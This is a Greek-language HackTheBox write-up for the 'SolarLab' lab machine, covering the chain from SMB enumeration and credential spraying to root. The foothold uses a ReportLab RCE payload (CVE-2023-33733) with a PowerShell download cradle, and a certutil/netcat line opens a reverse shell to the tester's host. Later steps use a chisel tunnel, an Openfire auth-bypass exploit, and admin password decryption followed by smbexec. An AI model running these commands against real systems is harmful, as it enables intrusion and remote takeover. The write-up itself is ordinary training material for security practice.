Πίσω στο blog
← Πίσω στα posts

English  ·  Ελληνικά

HTB: SolarLab

HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗

Το SolarLab ξεκινάει με SMB enumeration που αποκαλύπτει ένα αρχείο Excel με usernames και passwords. Μετά από ανακάλυψη subdomain και credential spraying πάνω στο ReportHub, εκμεταλλευόμαστε το CVE-2023-33733 (ReportLab RCE μέσω HTML-to-PDF injection) για foothold ως blake. Η πλευρική κίνηση προς τον χρήστη openfire περνάει μέσα από το CVE-2023-32315 (Openfire auth bypass). Το root επιτυγχάνεται αποκρυπτογραφώντας τον κωδικό admin του Openfire από την embedded database χρησιμοποιώντας ένα κλειδί blowfish.
SMB → xlsx creds → ReportHub (BlakeB) → blake (CVE-2023-33733) → openfire (CVE-2023-32315) → Administrator (Openfire decrypt)

Αναγνώριση

Nmap

Το αρχικό σάρωμα αποκαλύπτει ports HTTP, SMB, RPC πάνω σε host Windows. Ένα πλήρες σάρωμα port βρίσκει επιπλέον το port 6791 να τρέχει HTTP:

Nmap initial scan results Nmap full port scan showing port 6791

Προσθέτουμε το solarlab.htb στο /etc/hosts:

/etc/hosts with solarlab.htb

SMB Enumeration

Ελέγχουμε τα SMB shares ανώνυμα:

SMB share listing showing Documents share

Το share Documents είναι προσβάσιμο. Περιέχει αρκετά ενδιαφέροντα αρχεία:

SMB Documents share contents
smbclient — κατέβασμα όλων
SP1R4@kali)-[~/Documents/HTB/solarlab] └$ smbclient -N //solarlab.htb/Documents smb: \> mget *
Downloaded files: details-file.xlsx, old_leave_request_form.docx, etc.

details-file.xlsx

Το αρχείο Excel περιέχει usernames, passwords, ερωτήσεις ασφαλείας, και email addresses. Οι πιο χρήσιμες εγγραφές:

details-file.xlsx contents with credentials
Βασικά credentials που εξήχθησαν:
KAlexander / al;ksdhfewoiuh
AlexanderK / dkjafblkjadsfgl
ClaudiaS / dadsfawe9dafkn / danenacia9234n
blake.byte / ThisCanB3typedeasily1@

Web Enumeration

Το port 80 σερβίρει SolarLab IM — μια σελίδα coming-soon με αντίστροφη μέτρηση, χωρίς χρήσιμο περιεχόμενο:

SolarLab IM website on port 80

Subdomain brute-force

gobuster dns
SP1R4@kali)-[~/Documents/HTB/solarlab] └$ gobuster dns -d solarlab.htb -o gobuster_dns.log -w /opt/wordlists/seclist/Discovery/DNS/subdomains-top1million-10000.txt -t 100 Found: report.solarlab.htb
Gobuster DNS finding report.solarlab.htb

Το port 6791 κάνει επίσης redirect αυτόματα στο report.solarlab.htb. Το προσθέτουμε στο /etc/hosts:

Burp showing unknown host error before adding to hosts /etc/hosts updated with report.solarlab.htb

ReportHub — Επίθεση σε Credentials

Το port 6791 σερβίρει μια σελίδα Login to ReportHub:

ReportHub login page

Δοκιμάζοντας τα credentials από το xlsx — τα μηνύματα σφάλματος είναι συγκεκριμένα. Το User not found έναντι User authentication error επιτρέπει username enumeration. Οι AlexanderK και ClaudiaS υπάρχουν αλλά οι κωδικοί είναι λάθος:

Login showing 'User not found' error Login showing 'User authentication error' — user exists

Burp Intruder — credential spray

Χρησιμοποιούμε το Burp Intruder με επίθεση cluster bomb για να συνδυάσουμε usernames και passwords:

Burp Intruder cluster bomb setup Burp payload sets with usernames and passwords Burp intruder results — no valid combinations found

Δεν βρέθηκαν έγκυρα credentials στο πρώτο spray. Κοιτώντας πιο προσεκτικά το pattern των usernames — AlexanderK, ClaudiaS — υποδηλώνει Μικρό όνομα + αρχικό επωνύμου. Το xlsx δείχνει blake.byte οπότε το username θα πρέπει να είναι BlakeB:

xlsx showing blake.byte with password ThisCanB3typedeasily1@
Burp — hit BlakeB
# Μήκος request 660 (διαφορετικό από τα υπόλοιπα στο 2419) = έγκυρο login BlakeB : ThisCanB3typedeasily1@
Burp results showing BlakeB with length 660 — valid hit
Έγκυρα credentials: BlakeB:ThisCanB3typedeasily1@

Foothold — CVE-2023-33733 (ReportLab RCE)

Μετά το login, το ReportHub εκθέτει τέσσερα features — Leave Request, Training Request, Home Office Request, και Travel Approval. Όλα δημιουργούν PDFs:

ReportHub dashboard with four request options Leave Request form with Generate PDF button Generated PDF output from leave request Training Request form

Ο generator PDF χρησιμοποιεί το ReportLab που είναι ευάλωτο στο CVE-2023-33733 — HTML injection στο πεδίο justification οδηγεί σε RCE μέσω της μηχανής rendering PDF:

Google search showing CVE-2023-33733 ReportLab RCE Burp request with CVE-2023-33733 payload injected into form field

Πυροδοτούμε ένα reverse shell μέσω ενός PowerShell download cradle ενσωματωμένου στο exploit:

payload CVE-2023-33733
# Εισηγμένο στο πεδίο justification (HTML rendered από το ReportLab) powershell.exe -c iex (iwr -UseBasicParsing http://10.10.14.63/Invoke-PowerShellTcpEx.ps1) SP1R4@kali)-[~] └$ sudo nc -lvnp 5555 listening on [any] 5555 ... connect to [10.10.14.63] from (UNKNOWN) [10.10.11.16] 53730 Windows PowerShell running as user blake on SOLARLAB PS C:\Users\blake\Documents\app>
Reverse shell received as blake on SOLARLAB whoami and whoami /priv showing blake's privileges ipconfig and user.txt flag
🚩 User flag αποκτήθηκε ως solarlab\blake.

Πλευρική κίνηση — blake → openfire

Ανακάλυψη credentials στη βάση δεδομένων της εφαρμογής

Μέσα στο C:\Users\blake\Documents\app\instance, υπάρχει ένα αρχείο SQLite users.db που περιέχει όλα τα credentials της εφαρμογής:

users.db contents showing alexanderk, claudias, blakeb credentials Credential summary: blakeb, alexanderk, claudias
credentials από το users.db
blakeb : ThisCanB3typedeasily1@ alexanderk : HotP!fireguard claudias : 007poiuytrewq

Openfire — port forwarding

Ελέγχοντας τις ενεργές συνδέσεις και τον φάκελο C:\Users αποκαλύπτεται ένας χρήστης openfire και το Openfire να ακούει στο 127.0.0.1:9090:

C:\Users showing Administrator, blake, openfire, Public Netstat showing Openfire on 127.0.0.1:9090

Το WinPEAS επιβεβαιώνει τα credentials στο utils.py και δεν αποκαλύπτει τίποτα επιπλέον:

WinPEAS output showing hardcoded credentials in utils.py C:\Program Files showing Openfire and RUXIM directories Access denied when trying to cd into Openfire directory

Ο φάκελος Openfire είναι απρόσιτος ως blake — χρειαζόμαστε πρώτα τον χρήστη openfire. Κάνουμε forward το port 9090 με το chisel:

chisel — port forward 9090
# Kali — εκκίνηση chisel server SP1R4@kali)-[~] └$ chisel server --socks5 --reverse -p 1234 # Target — connect back και tunnel του port 9090 PS C:\Users\blake\Documents\app> .\chiselx86_64.exe client 10.10.14.63:1234 R:9090:127.0.0.1:9090
Chisel server running on Kali with session established Chisel client on target connecting back Openfire Administration Console login page on 127.0.0.1:9090

CVE-2023-32315 — Openfire Auth Bypass

Google search for Openfire RCE CVE-2023-32315
exploit CVE-2023-32315
SP1R4@kali)-[~/Documents/HTB/solarlab] └$ git clone https://github.com/miko550/CVE-2023-32315.git && cd CVE-2023-32315 SP1R4@kali)-[~/Documents/HTB/solarlab/CVE-2023-32315] └$ python3 CVE-2023-32315.py -t http://127.0.0.1:9090 User added successfully: url: http://127.0.0.1:9090 username: m87vm2 password: ky4kb6
CVE-2023-32315 exploit output — new user added

Κάνουμε login με τον νεοδημιουργημένο χρήστη, μετά ανεβάζουμε το plugin openfire-management-tool-plugin.jar:

Openfire admin dashboard after successful login Plugin upload page with openfire-management-tool-plugin.jar Management tool login interface Management tool command execution — whoami showing solarlab\openfire

Εκτελούμε ένα reverse shell μέσω του management tool για να πάρουμε κανονικό shell ως openfire:

shell openfire μέσω management tool
# Upload του nc.exe και εκτέλεση μέσω management tool certutil -urlcache -f http://10.10.14.63/nc.exe nc.exe nc.exe 10.10.14.64 4444 -e cmd.exe SP1R4@kali)-[~] └$ sudo nc -lvnp 4444 C:\Program Files\Openfire\bin> whoami solarlab\openfire
nc shell received as solarlab\openfire

Privilege Escalation — openfire → Administrator

Openfire embedded-db

Ως openfire, μπορούμε τώρα να έχουμε πρόσβαση στον φάκελο Openfire. Ο φάκελος embedded-db περιέχει τα αρχεία της βάσης δεδομένων:

C:\Program Files\Openfire\embedded-db directory listing openfire.script file showing INSERT statements

Το openfire.script περιέχει τον πίνακα OFUSER με τον κρυπτογραφημένο κωδικό του admin:

INSERT INTO OFUSER showing admin encrypted password hash OFUSER table structure and data
κρυπτογραφημένος κωδικός admin
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4Ye... becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb',...)

Εύρεση του κλειδιού blowfish

Ο πίνακας OFPROPERTY στο ίδιο script περιέχει το passwordKey που χρησιμοποιείται για κρυπτογράφηση blowfish:

INSERT INTO OFPROPERTY showing passwordKey=hGXiFzsKaAeYLjn
passwordKey από OFPROPERTY
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)

Αποκρυπτογράφηση του κωδικού admin

Χρησιμοποιούμε το Java-based εργαλείο c0rdis/openfire_decrypt (η έκδοση PHP δεν δουλεύει):

αποκρυπτογράφηση κωδικού admin
SP1R4@kali)-[~/Documents/HTB/solarlab/openfire_decrypt] └$ javac OpenFireDecryptPass.java SP1R4@kali)-[~/Documents/HTB/solarlab/openfire_decrypt] └$ java OpenFireDecryptPass becb0c67cfec...59d442 hGXiFzsKaAeYLjn ThisPasswordShouldDo!@ (hex: 005400680069...)
admin : ThisPasswordShouldDo!@

Code execution ως SYSTEM

Επιβεβαιώνουμε τα credentials του administrator πάνω σε SMB και εκτελούμε μέσω impacket-smbexec:

impacket-smbexec — SYSTEM
SP1R4@kali)-[~/Documents/HTB/solarlab/openfire_decrypt] └$ impacket-smbexec administrator:'ThisPasswordShouldDo!@'@solarlab.htb Impacket v0.11.0 - Copyright 2023 Fortra [!] Launching semi-interactive shell - Careful what you execute C:\Windows\system32> whoami nt authority\system
🚩 Root flag αποκτήθηκε. Το machine pwned.

Σύνοψη

ΣταδιοΤεχνικηΕργαλειο
ΑναγνώρισηSMB ανώνυμη ανάγνωση → xlsx με credssmbclient
SubdomainDNS brute-force → report.solarlab.htbgobuster
FootholdCVE-2023-33733 ReportLab HTML-to-PDF RCEBurp, nc
Πλευρική κίνηση (openfire)CVE-2023-32315 Openfire auth bypass → mgmt plugin RCEpython3, chisel
RootΑποκρυπτογράφηση blowfish του κωδικού admin του Openfire από το embedded-dbjava, impacket

Βασικές εντολές

γρήγορη αναφορά
# SMB enumeration smbclient -N //solarlab.htb/Documents # Ανακάλυψη subdomain gobuster dns -d solarlab.htb -w subdomains-top1million-10000.txt # Port forwarding μέσω chisel chisel server --socks5 --reverse -p 1234 # Kali chiselx86_64.exe client <IP>:1234 R:9090:127.0.0.1:9090 # Target # Openfire auth bypass python3 CVE-2023-32315.py -t http://127.0.0.1:9090 # Αποκρυπτογράφηση κωδικού Openfire javac OpenFireDecryptPass.java java OpenFireDecryptPass <enc_password> <blowfish_key> # SMBexec ως Administrator impacket-smbexec administrator:'ThisPasswordShouldDo!@'@solarlab.htb
HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗